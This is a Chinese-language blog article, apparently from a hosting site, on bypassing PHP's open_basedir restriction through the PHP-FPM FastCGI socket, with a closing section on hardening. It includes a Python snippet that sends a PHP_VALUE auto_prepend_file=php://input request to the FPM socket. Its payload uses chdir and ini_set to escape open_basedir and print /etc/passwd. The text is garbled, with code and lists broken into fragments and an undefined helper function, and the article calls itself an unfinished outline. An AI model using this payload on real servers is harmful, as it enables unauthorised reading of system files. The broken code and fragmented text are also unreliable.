# 怎么利用PHP-FPM实现绕过open_basedir ## 前言 在PHP安全配置中,`open_basedir`是一个重要的安全机制,用于限制PHP脚本只能访问指定目录及其子目录的文件。然而,在某些特定场景下,攻击者可能利用PHP-FPM(FastCGI Process Manager)的特性绕过这一限制。本文将深入探讨这一技术原理、利用方法及防御措施。 --- ## 目录 1. [open_basedir机制概述](#1-open_basedir机制概述) 2. [PHP-FPM基础与工作原理](#2-php-fpm基础与工作原理) 3. [绕过open_basedir的技术原理](#3-绕过open_basedir的技术原理) 4. [具体利用方法](#4-具体利用方法) - 4.1 [环境搭建与复现](#41-环境搭建与复现) - 4.2 [利用PHP-FPM的FastCGI协议](#42-利用php-fpm的fastcgi协议) - 4.3 [通过UNIX Socket通信](#43-通过unix-socket通信) 5. [漏洞利用的实战案例](#5-漏洞利用的实战案例) 6. [防御与缓解措施](#6-防御与缓解措施) 7. [总结](#7-总结) --- ## 1. open_basedir机制概述 `open_basedir`是PHP中用于限制文件系统访问的配置指令,其作用包括: - **目录隔离**:限制PHP脚本只能访问指定目录及其子目录。 - **安全防护**:防止目录遍历、文件包含等攻击。 ### 配置示例 ```ini open_basedir = /var/www/html:/tmp
fopen()
、file_get_contents()
、include()
等文件操作函数。PHP-FPM是PHP的FastCGI进程管理器,常用于Nginx等Web服务器。其核心特性包括: - 进程池管理:动态分配PHP解释器进程。 - FastCGI协议:通过Socket(UNIX或TCP)与Web服务器通信。
location ~ \.php$ { fastcgi_pass unix:/var/run/php/php7.4-fpm.sock; include fastcgi_params; }
通过PHP-FPM的FastCGI协议直接传递恶意参数,绕过Web层的open_basedir
限制。
PHP_VALUE
、PHP_ADMIN_VALUE
。open_basedir
未覆盖/proc/self/
等特殊路径。chdir()
和ini_set()
动态调整open_basedir
。/etc/passwd
)。open_basedir = /var/www/html
检查PHP-FPM Socket是否可写:
ls -l /var/run/php/php7.4-fpm.sock
import socket payload = """ <?php ini_set('open_basedir', '..'); chdir('/'); ini_set('open_basedir', '/'); echo file_get_contents('/etc/passwd'); ?> """ fcgi_request = { 'SCRIPT_FILENAME': '/var/www/html/index.php', 'PHP_VALUE': 'auto_prepend_file = php://input', 'REQUEST_METHOD': 'POST', 'CONTENT_LENGTH': len(payload) } sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) sock.connect("/var/run/php/php7.4-fpm.sock") sock.send(pack_fcgi_request(fcgi_request, payload))
PHP_VALUE
注入PHP配置。php://input
执行任意代码。open_basedir
限制。127.0.0.1:9000
,但防火墙规则错误。www-data:www-data
。 fastcgi_pass unix:/run/php/php-fpm.sock;
open_basedir
: open_basedir = /var/www/html:/tmp
disable_functions = exec,passthru,shell_exec
本文详细分析了通过PHP-FPM绕过open_basedir
的技术原理、利用方法及防御措施。这种攻击方式依赖于服务配置不当和协议特性,运维人员应重点关注: 1. PHP-FPM的隔离性。 2. open_basedir
的覆盖范围。 3. 最小化FastCGI参数传递。
通过合理配置和持续监控,可以有效降低此类攻击的风险。
”`
注:实际内容需根据技术细节补充完整代码示例和调试过程,此处为提纲式框架。
免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。